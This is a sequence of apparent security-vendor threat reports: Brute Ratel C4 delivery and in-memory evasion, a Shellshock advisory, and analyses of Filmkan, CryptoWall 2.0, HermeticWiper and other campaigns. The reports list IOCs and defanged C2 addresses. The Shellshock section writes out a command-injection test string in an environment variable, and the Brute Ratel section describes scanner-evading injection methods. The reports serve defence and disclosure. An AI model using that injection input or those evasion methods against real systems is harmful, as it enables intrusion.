In both images, the user is presented with a shortcut file (LNK file) that starts the malicious activity when double-clicked.
Figure 10 shows how the ISOs would appear when show hidden files” is enabled for viewing.
The flow of execution is the following:
Roshan_CV.ISO→Roshan-Bandar_CV_Dialog.LNK→cmd.exe→OneDriveUpdater.exe→version.dll→OneDrive.
Update
Decret.ISO→Decret.LNK→cmd.exe→HPScan.exe→version.dll→HPScanApi.dll
The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader.
While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.
Version.dll is a modified version of a legitimate Microsoft file written in C++.
The implanted code is used to load and decrypt an encrypted payload file.
The decrypted payload is that of shellcode (x64 assembly) that is further used to execute Brute Ratel C4 on the host.
In order for Version.dll to maintain its code capabilities for OneDriveUpdater.exe, the actors include the legitimate digitally signed Microsoft version.dll and named it vresion.dll.
Any time OneDriveUpdater.exe makes a call into the actor’s Version.dll, the call is proxied to vresion.dll.
Because of this, the actor’s version.dll will load vresion.dll as a dependency file.
The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:
The technique outlined above uses process injection via undocumented Windows NTAPI calls.
The decrypted payload is now running within the runtimebroker.exe memory space.
The following is a snippet of code from version.dll that starts the execution of the in-memory decrypted payload.
The decrypted payload file is x64 shellcode (assembly instructions) that involves a series of executions to unpack itself.
The assembly instructions involve multiple push and mov instructions.
The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header.
Using a series of push and mov instructions evades in-memory scanning as the shellcode is assembled in blocks versus the entire code base being exposed for scanning.
The entry point of the decrypted payload is the following:
The unpacking involves 25,772 push and 25,769 mov instructions.
When finished, the code performs the following.
The following is a snippet of the code that calls NtCreateThreadEx and starts the execution of the second-stage shellcode.
The configuration data is passed as a parameter to the start address of the new thread.
This data includes the encrypted configuration settings for Brute Ratel C4.
The encrypted contents are the following:
The data is base64-encoded and RC4-encrypted.
The 16-byte RC4 decryption key is: bYXJm/3#M?
:XyMBF
The decrypted configuration file is:
Each parameter is delineated with a pipe | character, and one of the values is the IP seen earlier of 174.129.157[.
]251 and port of 443.
The IP 174.129.157[.
]251 is hosted on Amazon AWS, and Palo Alto Networks Cortex Xpanse history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:
Once the SSL handshake to IP 174.129.157[.
]251 is complete, the following data is sent via HTTP POST to the Brute Ratel C4 listener port.
To identify the decrypted in-memory payload as being associated with Brute Ratel C4, we conducted hunting based on the unique in-memory assembly instructions, push and mov.
These instructions are used to build the second layer of shellcode.
Searching across VirusTotal, we found a second sample with the same push and mov instructions:
Initially, what stood out to us was the filename containing the word “badger.” According to the Brute Ratel C4 website, the word “badger” represents payloads used for remote access.
When uploaded to VirusTotal, only two out of 66 vendors considered the sample malicious.
Currently, 12 vendors identify the sample as malicious with eight classifying this sample as “Brutel,” further supporting that our in-memory code is somehow associated with that of Brute Ratel C4.
Side-by-side comparison of the entry point of badger_x64.exe and our decrypted OneDrive.
Update sample:
When badger_x64.exe is finished with the push and mov instructions, it makes the same Windows API calls as OneDrive.
Update using API hashing, but does not use direct syscall (a user configuration feature of Brute Ratel C4).
Example of badger_x64.exe:
Like the OneDrive.
Update sample, the parameter passed to the calling thread is the configuration data for Brute Ratel C4.
In this sample, the data is not base64-encoded or RC4-encrypted, and is passed in the clear.
The following is the configuration used for this sample:
In this case, the sample is configured to communicate with IP 159.65.186[.
]50 on TCP port 443.
Based on the following, we can conclude that OneDrive.
Update is indeed associated with Brute Ratel C4.
The file badger_x64.exe is a standalone x64 executable that runs Brute Ratel C4 (badger payload) while the decrypted OneDrive.
Update file is the in-memory component of Brute Ratel C4 that is executed using the actor's modified DLL, version.dll.
After validating that badger_x64.exe and OneDrive.
Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.
VirusTotal records revealed that the sample was uploaded by a web user in Ukraine on May 20, 2022.
Coincidentally, this happens to be one day after the ​​Roshan_CV.ISO file was uploaded.
As noted above, the sample was configured to call home to 159.65.186[.
]50 on port 443.
Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same “Microsoft Security” self-signed SSL certificate seen above.
Given this timeline, it's worth noting that the sample was actually uploaded to VirusTotal prior to the C2 infrastructure being configured to listen for the callbacks.
Evaluating netflow connections for 159.65.186[.
]50 during this time window revealed several connections to ports 22, 443 and 8060 originating from a Ukrainian IP (213.200.56[.]105).
We assess this Ukrainian address is likely a residential user IP that was leveraged to administer the C2 infrastructure.
A deeper look at connections in and out of 213.200.56[.
]105 further revealed several flows over UDP port 33445.
This port is commonly used by Tox, a secure peer-to-peer chat and video application that offers end-to-end encryption.
Examining additional connections to port 443 on 159.65.186[.
]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico.
Coincidentally, recent attempts to browse the textile manufacturer’s website result in a 500 internal server error message.
Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.
Over the past year, the fake Microsoft Security X.509 certificate has been linked to 41 IP addresses.
These addresses follow a global geographic dispersion and are predominantly owned by large virtual private server (VPS) hosting providers.
Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.
For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:
Threat Prevention provides protection against Brute Ratel C4.
The "Brute Ratel C4 Tool Command and Control Traffic Detections" signature is threat ID 86647.
Cortex XDR detects and protects endpoints from the Brute Ratel C4 tool.
WildFire cloud-based threat analysis service accurately identifies Brute Ratel C4 samples as malware.
The emergence of a new penetration testing and adversary emulation capability is significant.
Yet more alarming is the effectiveness of BRc4 at defeating modern defensive EDR and AV detection capabilities.
Over the past 2.5 years this tool has evolved from a part-time hobby to a full-time development project with a growing customer base.
As this customer base has expanded into the hundreds, the tool has gained increased attention across the cybersecurity domain from both legitimate penetration testers as well as malicious cyber actors.
The analysis of the two samples described in this blog, as well as the advanced tradecraft used to package these payloads, make it clear that malicious cyber actors have begun to adopt this capability.
We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
Learn more about the Cyber Threat Alliance.
Note that the Microsoft name and logo shown are an attempt to impersonate a legitimate organization and do not represent an actual affiliation with Microsoft.
This impersonation does not imply a vulnerability in Microsoft’s products or services.
Brute Ratel C4 ISO Samples:
1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C
X64 Brute Ratel C4 Windows Kernel Module:
31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069
APT29 ISO Samples:
F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46
X64 Brute Ratel C4 Samples:
3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9
3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE
973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E
DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA
E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611
EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6
D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F
5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B
Malicious DLLs:
EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669
Malicious Encrypted Payloads:
B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E
X.509 Cert SHA1s:
55684a30a47476fce5b42cbd59add4b0fbc776a3
66aab897e33b3e4d940c51eba8d07f5605d5b275
Infrastructure linked to X.509 Certs or Samples:
104.6.92[.
]229
137.184.199[.
]17
138.68.50[.
]218
138.68.58[.
]43
139.162.195[.
]169
139.180.187[.
]179
147.182.247[.
]103
149.154.100[.
]151
15.206.84[.
]52
159.223.49[.
]16
159.65.186[.
]50
162.216.240[.
]61
172.105.102[.
]247
172.81.62[.
]82
174.129.157[.
]251
178.79.143[.
]149
178.79.168[.
]110
178.79.172[.
]35
18.133.26[.
]247
18.130.233[.
]249
18.217.179[.
]8
18.236.92[.
]31
185.138.164[.
]112
194.29.186[.
]67
194.87.70[.
]14
213.168.249[.
]232
3.110.56[.
]219
3.133.7[.
]69
31.184.198[.
]83
34.195.122[.
]225
34.243.172[.
]90
35.170.243[.
]216
45.144.225[.
]3
45.76.155[.
]71
45.79.36[.
]192
52.48.51[.
]67
52.90.228[.
]203
54.229.102[.
]30
54.90.137[.
]213
89.100.107[.
]65
92.255.85[.
]173
92.255.85[.
]44
94.130.130[.
]43
ds.windowsupdate.eu[.
]org
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Trello From the Other Side: Tracking APT29 Phishing Campaigns
New sophisticated email-based attack from NOBELIUM
Updated July 6, 2022, at 9:30 a.m. PT.
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Around 6:00 am PST on September 24, the details of a vulnerability in the widely used Bourne Again Shell (Bash) were disclosed by multiple Linux vendors.
The vulnerability, assigned CVE-2014-6271 by Mitre, was originally discovered by Stephane Chazelas, a Unix and Linux network and telecom administrator and IT manager at UK robotics company SeeByte, Ltd.
While this vulnerability didn’t come with quite the fanfare or a catchy name like Heartbleed, the security community quickly dubbed it “Shellshock.” Bash is present in most Linux and Unix distributions as well as Apple’s Mac OS X, and there’s a good chance anyone reading this has a system they need to patch.
Palo Alto Networks initiated an emergency IPS content release to detect this vulnerability last night with Signature ID: 36729 "Bash Remote Code Execution Vulnerability.”
All versions of PAN-OS and Panorama include the vulnerable version of Bash, but we’ve determined the issue is only exploitable by authenticated users.
Normal PAN-OS maintenance release updates will provide a fix for the vulnerability.
We have posted the advisory on our product vulnerability page.
Read on for more details.
Vulnerability Details
CVE-2014-6271 exists in all versions of Bash and is related to how environment variables are processed when the shell starts up.
Environment variables are used by shell software to store pieces of information like the location of the user’s home directory.
In addition to storing variables, Bash allows for storing shell functions in variables that users can call later.
It’s in parsing these functions that the new Bash vulnerability exists, as the shell mistakenly executes code that is added after a function definition.
Here’s an example:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
Bash should stop processing the environment variable “x” after the closing semicolon for the function, but instead continues to process “echo vulnerable”.
At first glance, this might not seem too dangerous as executing commands is Bash’s primary function, but it’s important to understand that many other programs use Bash to process commands.
While these two scenarios are currently the most-likely vectors for exploiting this vulnerability, it’s likely that other services use Bash in a network-exploitable way.
The only way to fully prevent exploitation is to upgrade Bash on the system to a non-vulnerable version.
Impact
The good news is that this vulnerability was disclosed responsibly and patches are available for most platforms on the day of the public disclosure.
The bad news is that this vulnerability is going to have a very long tail.
Bash is the default shell for the most-popular Linux variants and every version of the software stretching back over two decades is vulnerable.
Well-maintained systems will be patched today, but that dusty old system in the networking closet might never get the update.
Additionally, network devices, embedded systems and Internet-connected devices (like IP Cameras) often run Linux and could be vulnerable.
Fortunately, not every system is remotely exploitable simply because it’s running Bash, it also needs to be running an application which makes Bash accessible over the network.
As described above, the most-common exploit scenario seems like it will be web servers running Apache and using CGI scripts.
Web servers are great resources for attackers.
They can be used to:
These are all likely outcomes from mass scanning of the Internet for vulnerable hosts, which are already underway.
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On January 2, 2017, one Bitcoin was worth US $985.56.
By October 16, 2017, that same Bitcoin was worth US $ 5,707.40: a 579% increase in value in ten and a half months.
By comparison, Ethereum has gone from US $8.15 per ether on January 2, 2017 to US $342.83 per ether on October 16, 2017: a jump of 4,206%.
Cryptocurrencies are big money these days and seemingly getting bigger by the day.
And if we’ve learned one thing about cybercriminals, they follow the money.
So, it’s not surprising to see that cybercrime is turning its attention to cryptocurrencies.
In our latest research, “Unauthorized Coin Mining in the Browser”, Unit 42 researchers show how cybercriminals have taken an old tactic, hijacking web browsers without the users consent or knowledge (commonly called a “drive -by attack”), and adapted it to make money in the increasingly lucrative cryptocurrencies markets.
Before, drive-by attacks focused on abusing a browser’s legitimate download capabilities to download malware onto the victim’s system without their consent or knowledge.
These new drive-by attacks focus on hijacking the computational resources of the victim’s computer to “mine” cryptocurrency on behalf of the attackers.
The focus of these attacks is to use the victim’s web browser to access the computational resources of their system.
The attackers accomplish this through abuse of a legitimate tool by placing it on malicious or compromised websites and running it in the victim’s browser without his or her consent or knowledge when they visit the site.
The tool is designed to “mine” cryptocurrencies, that is it earns credit in the cryptocurrency in exchange for computing power that is used to power the cryptocurrencies’ digital infrastructure.
This tool has a legitimate use: sites can and do notify users that they’re using the site visitors’ resources in this way to support the site, typically as a substitute for ads on the site.
But in this case, the attacker actually gets the credit that the victim’s computational resources earns without the visitors’ consent or knowledge making it a malicious attack.
Put simply, the net result is that the victim’s computer slows down (sometimes significantly) while on the malicious or compromised website.
And while the computer is impacted like this, the attacker is earning money.
The attacker steals the victims computing resources and translates it into a cryptocurrency like Bitcoin.
This new kind of attack tells us that at least some cybercriminals are starting to view theft of victim’s computing power to translate into cryptocurrencies as a better business proposition than the traditional practice of loading malware on the victim’s system through drive-by downloads.
And our research shows that this isn’t an isolated event.
Our researchers analyzed over 1,000 of sites and what they found was very telling.
The good news is that these attacks are more like denial of service attacks: they don’t do lasting harm to your system and they end when you leave the site.
The bad news is that these are harder to defend against than typical drive-by download attacks.
Where drive-by download attacks usually exploit unpatched vulnerabilities, the root of these attacks is that they abuse otherwise legitimate functionality: you can’t prevent them by being fully patched.
Security products that take a comprehensive, layered approach can help prevent these attacks.
And if you think your system is being affected by one of these attacks, you can, in most cases, end the attack by either leaving the site or closing the browser.
Most of all, this latest development shows how a changing economic landscape in turn changes the cybercrime landscape.
Loading malware through drive-by downloads is so 2012: in 2017 it’s about drive-by mining attacks to earn cryptocurrencies.
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On January 31, a security researcher named Mohammad Faghani posted an analysis of malware that was being distributed through Facebook posts.
Based on the number of “likes” the malware had generated, Faghani estimated that over 100,000 users had been infected with the malware.
We have not been able to identify a common name for this malware and have given it the designation “Filmkan” based on domains it uses for command and control.
Based on our analysis, this malware was most likely created by a Turkish actor.
The malware contains many comments written in Turkish, the domains used for command and control were registered through a Turkish company and the social network profiles involved in the attack belong to Turkish speakers.
Filmkan is very flexible, giving it more capability than simple interaction with social networks.
The overall motivation of this attack is not clear at this time, but the author of Filmkan has successfully assembled a large botnet in a short amount of time.
While the initial report only contained sparse details, Faghani followed up with additional analysis on February 2, exposing more functionality related to the malware.
Our WildFire analysis cloud first picked up samples of this malware on January 22 and thus far we’ve collected 44 distinct samples the display the behavior described by Faghani.
At a high level, this malware consists of four components:
The initial infection occurs when a user clicks on a link in a Facebook post, which claims to be a pornographic video.
After a few seconds the video tells the user they need to download an update for Flash player, which is the initial dropper executable.
The attacker hosted the linked executables through Google’s cloud storage at the following URLs:
The Filmkan dropper has a Flash icon to help make it appear as a legitimate update.
The author of Filmkan created the dropper using AutoHotkey (AHK), a legitimate tool for creating Windows applications using a custom scripting language.
AHK scripts are compiled into binaries that interpret the script code, making them portable to any Windows system.
The AHK scripts included in the Filmkan binaries contain many debugging strings written in Turkish.
The scripts have the following functionality:
While the dropper is responsible for the initial installation and updating itself, the remaining functionality is contained in the Filmkan Chrome extension.
Chrome extensions  allow developers to extend Google’s Chrome browser, typically by adding new functionality.
Developers write extensions in JavaScript and HTML, which is typically included in a package along with resources necessary to operate the extension.
The Filmkan dropper retrieves JavaScript using the installed wget.exe program from one of the three defined C2 servers.
The dropper saves this JavaScript code as “bg.txt”, which is defined in the installed Chrome extension manifest as a “background” script.
This script will run whenever the Chrome browser is open on the system.
The content of the bg.txt file can be changed any time the attacker chooses.
The current version of the script contains three primary functions.
The chrome extension closes any tab the user opens that matches the following URLs, effectively preventing the user from discovering or removing the extension.
The extension downloads an array of JSON data from hxxp://www.filmver .com/ahk/get.js.
The extension uses this data as a denylist, preventing the browser from loading URLs that contain any of the following strings.
Blocking antivirus and security-related domains is a common tactic malware authors use to prevent users from removing an infection, but many of the domains included in this list are mysterious.
JoyGame.com is a Turkish video game website, while exelansdealers.com was previously used to host a similar malicious Chrome extension.
The third primary function of this extension is to download and execute JavaScript code from hxxp://www.filmver .com/ahk/user.php.
This function makes the Filmkan extension very flexible, as the attacker can modify the script at any time.
When Faghani first published his analysis this component of the malware was forcing the user’s Facebook account to “like” specific posts on a community page titled Sabır.
Some of these posts garnered over 100,000 likes, despite containing very little content.
The latest version of the script no longer forces the user to like these posts, instead it causes the user to follow two accounts on Twitter and a third account on Facebook.
Other than all three of these accounts belonging to Turkish individuals, the connection between these accounts and this attack is unclear.
The script also includes a tracking URL hosted by amung.us, which allows the attacker to identify how many users are actively infected with the malware.
A snapshot of the current number of infections follows:
hxxp:// whos.amung .us/swidget/hcfj8xyq9p94
The attacker frequently updates this tracking URL, most likely to keep track of users who are currently executing the latest malicious extension code.
The full content of the latest script follows.
Filmkan does not exploit any software vulnerabilities and thus far has relied on social engineering to infect users.
Users should be suspicious of any message indicating that an update for Flash is available in Google Chrome, as Chrome contains an integrated Flash runtime that is updated by Google.
Organizations should block access to the following domains to prevent Filmkan from receiving updates from the attacker.
These domains are the primary weakness of Filmkan, as shutting all three of them down simultaneously would remove the attackers access to the botnet.
Thus far, WildFire has automatically identified Filmkan droppers with the following MD5 hashes:
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The latest development in the ransomware world is CryptoWall 2.0, a new version of this malware family that uses the Tor network for command and control.
F-Secure was the first to spot this new version on October 1, but since then the attacks have ramped up and new variants of the malware are emerging daily.
Our WildFire analysis platform has picked up 84 CryptoWall 2.0 variants since September 30, delivered primarily through e-mail attachments but also through malicious PDFs and web exploit kits.
CryptoWall 2.0 is similar to other ransomware attacks that have plagued users and businesses for nearly a decade.
Once it is running on a system, CryptoWall 2.0 seeks out document files and encrypts them using the RSA encryption algorithm.
The attacker holds the key necessary to decrypt the files unless the victim agrees to pay a $500 ransom.
Unlike previous versions of CryptoWall, 2.0 communicates with its command and control (C2) server through the Tor anonymization network.
This allows attackers to hide their communications and avoid having their C2 servers shut down, but also makes it easy for organizations to block the threat.
CryptoWall isn’t the only threat that communicates over Tor and if your network doesn’t have an explicit reason to allow anonymization networks, you should consider blocking the application altogether with your firewall.
If your system has already been infected with CryptoWall 2.0, you’ll see a pop-up just like this one shortly after the malware has encrypted your documents.
Note that the attacker has given you a few options for how to pay them the ransom.
The green box contains four links that will work only for your system.
These use four domains registered just today:
All of the domains currently resolve to 151.248.115.146, a Russian IP address and have WhoIs records associated with the e-mail address “ladomfichisi1987@mail.ru”.
This is the same address used to register two other payment domains registered earlier this month:
If these domains are confiscated or otherwise shut down, CryptoWall instructs the user to download the Tor Browser and access a website (paytordmbdekmizq.onion) that is only accessible over the Tor network.
Unlikely some of it’s more flexible competition, CryptoWall only accepts ransom in the form of BitCoin.
To pay the ransom the user will need to acquire 1.33 BitCoins and transfer them to a specific BitCoin wallet that is associated with their specific infection.
History has shown that paying the ransom will likely allow you to retrieve your files, but the best defense against ransomware is having up-to-date back-ups or by preventing the infection all-together.
Since we detected the first CryptoWall 2.0 variant with our WildFire engine on September 29, we’ve seen over 85,000 separate attacks attempting to deliver the malware.
The majority of these have come through e-mails with executable attachments, sometimes contained in .zip files.
Most of the e-mail attacks used fake invoice, fax and voicemail themes with attachments named like the following:
In the last week we’ve seen the attack vectors evolve to contain exploit kits as well.
On October 19, the Kafeine posted a blog discussing the inclusion of CVE-2014-0556 in the Nuclear Pack exploit kit, which was installing CryptoWall 2.0.
Yesterday we picked up an e-mail campaign pretending to be a fax report that carried a .zip attachment with a PDF inside.
The PDF  exploits CVE-2013-2729 to download a binary which also installed CryptoWall 2.0.
The best way to protect yourself against ransomware is to keep up-to-date backups of your important files.
A ransomware infection, which encrypts all of your files, is similar to a drive failure, except that for a small fee you have the chance to get your files back.
To protect against CryptoWall 2.0 we recommend taking the following actions:
Adobe Reader Embedded BMP Parsing Integer Overflow Vulnerability
CVE-2014-0556
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Following a recent study of apps in the Google Play Store, let’s discuss several security risks caused by the bad certificate management practiced in many Android apps, from social to mobile banking.
All Android apps must be digitally signed with a certificate from the developer.
As described in Google’s official document, the app developer is required to create a keystore with a set of private keys, and then use the private key to generate a signed version of apps.
This key has to be valid for at least 25 years.
These certificates do not have to be generated by a certificate authority and can instead be self-signed.
Because this is simpler and allows the author to retain the private key, the majority of Google store apps use self-signed certificates.
This means it is the developer’s responsibility to keep the private key safe, whether that developer is a 13-year-old or a multi-national company.
As this means the security protecting private keys varies widely, the security risks of bad certificate management cannot be ignored and must be identified, and where necessary, mitigated.
Security researchers are starting to take note and publish on this subject.
For example, BlueBox recently revealed the Fake ID vulnerability, which exploits an app’s certificate verification process within the Android OS.
If they haven’t already, soon attackers and malware authors will turn their attention to exploiting vulnerabilities surrounding Android app certificates.
When an app is published to the Google Play Store, the certificate information is included within the APK file.
To view the certificate information just open the given APK file as a zip file.
The certificate information is stored within the certificate’s  “/META-INF” folder.
You can use keytool or openssl tools to view the certificate information.
An example taken from the popular Angry Birds app is shown in Figure 1.
The certificate fingerprints (circled in red) are what can be used to uniquely identify a certificate.
Figure 1
These digital certificates, self-signed or not, are the keys to updating apps in the Android ecosystem.
It is a primary reason the expiration dates are set so far into the future and developers are able to self-sign certificates.
The only way to update an app is for the developer to sign the update with the same digital certificate originally used to publish the app.
If a developer wants to use a different certificate, they must publish the update separately as a new app.
Furthermore, all Android apps published using the same certificate have a trust relationship between them.
Android allows apps signed by the same certificate to run in the same process and treats them as one single application instead of separate ones.
It also allows multiple apps with the same certificate, if using signature-based permission checks, to expose functionality and exchange code and data amongst themselves.
This is convenient for developers, which is great, but it is also convenient for hackers, which is not.
Losing control of a certificate’s private key, or using an insecure private key, can have severe security consequences.
For example, if an attacker obtained the private key of an app, he or she could create a fake APK file, sign it using the same certificate as the legitimate app, and replace the targeted app with fake app on the device silently using the “Application upgrade” procedure.
In addition, if the attacker can’t create an app with the same name as the targeted app, he or she can still check the “SharedUserId” option.
This allows apps with different package names but signed with the same certificate to share permissions and stored data.
Because of this, app developers should be extremely careful about re-using certificates when signing their apps.
Ideally, an app developer should generate a unique private key for each unique app they post in the Google Play Store.
Unfortunately, during our study of apps posted in the Google Play Store we collected approximately 246,000 Android apps but only 11,681 certificates.
The distribution of the number of apps sharing the same key is shown below.
The X-axis is the number of apps sharing the same certificate.
The Y-axis is the number of certificates.
For example, the number of certificates used by only one app is 1,323.
About 6,925 certificates are used to sign between 6 and 19 different apps.
Figure 2
As we see in this distribution, a lot of developers sign different apps with the same certificate.
We further investigated the following cases:
1.
Signing apps with a publicly known private key
Many key pairs are well known in the development community.
The most famous set of key pairs would be the key pairs included within the AOSP source files (in Table 1, below).
More key pairs can be found in developer forums and academic research.
Table 1
If one app is signed using the publicly known private keys, it is easy for other apps on the same device to replace this vulnerable app with another APK file, silently with no user knowledge or interaction.
We scanned our inventory of APK files downloaded from the Google Play Store and found at least 87 apps using the “testkey” in Table 1.
According to the Google Play Store, these 87 apps have been downloaded more than 1.6 million times.
For security reasons we are not posting the names of any of these apps.
Under no circumstances should developers ever use private keys that are publicly available, nor should users download them.
However, it isn’t easy for users to know the app they’re downloading is using a compromised private key – the onus for this is squarely on developers.
2.
Mobile banking apps sharing one single key
Mobile banking apps are particularly sensitive with significant security concerns, which is why we were surprised to discover one certificate was used to sign more than 300 mobile banking apps in the Google Play Store.
This practice is not necessarily dangerous, as long as the developer does not share the key with the various banks that contracted the applications.
We’ve contacted the developer to confirm they have retained sole custody of the keys.
Of course, even with out-sourced application development, app owners should prefer to hold their own key.
Whoever controls the key controls updates for the application forever, and a key shared between applications in this way can never be transferred to a financial institution without compromising the security of all of the other apps signed with it.
The developer is aware of this concern and plans to encourage more of its customers to sign their own applications in the coming year.
In addition to our research, the Baidu Security team in China recently found 23 mobile banking apps sharing the same certificate hosted by a third party app developer and reported the discovery to the CNCERT in China.
3.
Third party app developers using the same key for all apps generated for all customers
The app developer industry is booming.
These developers help customers build mobile apps for their businesses easily and quickly.
They serve an important role for the majority of businesses that do not have in-house developers.
Unfortunately, we uncovered some of these developers using the same certificate for every app.
Again, using the same private key is probably due to the convenience in app management.
But as we noted earlier, apps signed by the same certificate can automatically grant sharing relationships amongst themselves.
This means all of the apps created by these developers, regardless of intended use, could be used maliciously.
Table 2 shows select top app developers using the same certificate in signing all their apps.
For security reasons, we have masked the names.
Table 2
Digital certificates are a critical component of the security of Android apps.
Unfortunately, many app developers in the Google Play Store have ignored these concerns in favor of convenience.
While in some cases that may be justified – the app may not contain any important or identifying information – in many of the cases we discovered it is not.
This poses great potential security risks to both app users and app owners.
We encourage developers to reconsider their stance on this issue and where necessary make changes before a significant security event happens.
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Unit 42 has recently been investigating a new malware family called Reaver.
While we have identified it as being active since late 2016, Reaver has been used sparingly, with only a small number of unique samples identified.
Its targets have been movements the Chinese government consider dangerous, also known as the “Five Poisons.” We found that the Reaver malware family has shared command-and-control (C2) infrastructure overlap SunOrcal malware, and that these have been used concurrently since late 2016.
While investigating Reaver we recently also discovered a new variant of the SunOrcal malware family.
While the SunOrcal malware family has been confirmed to have been active since 2013, possibly even earlier, this new variant has been observed targeting regions outside of the typical target radius for this threat group, now expanding to include Vietnam and Myanmar.
How it Works
Emails were sent to targets containing malicious attachments.
Targeting a Vietnamese speaking audience, one of the malicious documents mentions Donald Trump and the disputed South China Sea area.
This is a classic lure technique – including something the target will find interesting or important causing them to open the file and download the malware on to the victims’ system.
How to Defend Against it
These malware attacks utilize email phishing, and relies on targets opening the malicious email attachment.
Security awareness is critical to avoid falling victim to such an attack.
General email best practices:
If you are unsure of the legitimacy of the email, contact the sender directly over the phone or by typing a trusted URL directly in your browser or saved bookmark.
Additionally, keeping your systems and devices updated with the most current operating system and web browser is a general security best practice, as well as enabling multi-factor authentication to prevent an attacker from abusing credentials should they successfully capture them.
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Over the past several weeks, Russia-Ukraine cyber activity has escalated substantially.
Beginning on Feb. 15, a series of distributed denial of service (DDoS) attacks commenced.
These attacks have continued over the past week, impacting both the Ukrainian government and banking institutions.
On Feb. 23, a new variant of wiper malware named HermeticWiper was discovered in Ukraine.
Shortly after, a new round of website defacement attacks were also observed impacting Ukrainian government organizations.
Consistent with our previous reporting on the topic, several western governments have issued recommendations for their populations to prepare for cyberattacks that could disrupt, disable or destroy critical infrastructure.
We have already observed an increase in Russian cyber activity, which we reported on in our initial Threat Brief published last month and our recent report on the Gamaredon group.
Future attacks may target U.S. and Western European organizations in retaliation for increased sanctions or other political measures against the Russian government.
We recommend that all organizations proactively prepare to defend against this potential threat.
This post was substantially updated on Feb. 24 to add information on the recent DDoS attacks, HermeticWiper malware and website defacement; update our recommendations for how organizations should prepare for potential cyber impact; and provide additional details for our customers and clients on how we can help.
This post was substantially updated March 31 to add information on phishing and scam attacks, cybersquatting trends, fake donation websites, DoS attacks on Ukrainian news sites and distribution of malicious binaries.
Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.
We will continue to provide updates with new information and recommendations as they become available.
DDoS Attacks Impacting Ukrainian Government and Banking Institutions
HermeticWiper Malware
Website Defacement
Rise in Phishing and Scam Attacks
Increase in Cybersquatting Trends
Fake Donation Websites
DoS Attacks on Ukrainian News Sites
Distribution of Apps
How Palo Alto Networks Is Working to Keep You Safe
How You Should Prepare for an Increase in Cyberthreats Such as Wipers, DDoS, Website Defacement and Other Related Attacks
How Unit 42 Threat Intelligence and Security Consulting Can Help
Additional Cybersecurity Resources
Indicators of Compromise
Appendix A: Cortex Xpanse: Identifying Assets That May Be Impacted by CISA’s Known Exploited Vulnerabilities
On Feb. 15, the Cyberpolice of Ukraine reported that residents were actively receiving fake SMS text messages.
These messages were likely intended to cause alarm among the population, as they claimed that ATMs were malfunctioning.
Shortly after the text messages were observed, several DDoS attacks occurred.
These attacks impacted Ukrainian government organizations including the Ministry of Defense, Ministry of Foreign Affairs, Armed Forces of Ukraine and the publicly funded broadcaster Ukrainian Radio.
Additionally, the attacks targeted two banking institutions, PrivatBank and Oschadbank.
An initial investigation into the DDoS attacks suggested that Mirai and Meris bot networks may have been leveraged in the attacks.
On Feb. 18, both the United States and the United Kingdom attributed these DDoS attacks to Russia’s Main Intelligence Directorate (GRU).
Over the past week, Ukraine has continued to observe a relatively constant flow of DDoS attacks targeting its government and financial institutions.
However, at this time, attribution for the ongoing attacks has not been established.
The Ukrainian CERT did identify a post on RaidForums from a user named “Carzita” that suggested that additional actors may also be launching DDoS and defacement attacks for undisclosed reasons.
On Feb. 23, a malicious file named conhosts._exe (SHA256: 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591) was uploaded to a public malware repository from an organization in Kyiv, Ukraine.
This executable is a signed file with a valid signature from an organization named Hermetica Digital Ltd.
This signing certificate has since been explicitly revoked by its issuer.
Upon execution, this file enumerates all files on a hard drive, wipes the partition info and then forces a system reboot, which predictably results in the following screen:
Further analysis has confirmed that the malware accepts command-line arguments allowing an attacker to instruct the malware to sleep for a period of time or to shut down the system.
Additionally the kernel module responsible for the actual wiping activity is from a legitimate application called EaseUS Partition Master.
This software is designed as free partition software that can reorganize disk space for better performance.
In tracking this threat, early reports show that the malware has been deployed against a financial institution in Ukraine as well as two contractors in Latvia and Lithuania that provide services to the Ukrainian Government.
Additionally, ESET researchers have warned that they found this malware installed across “hundreds of machines” in Ukraine.
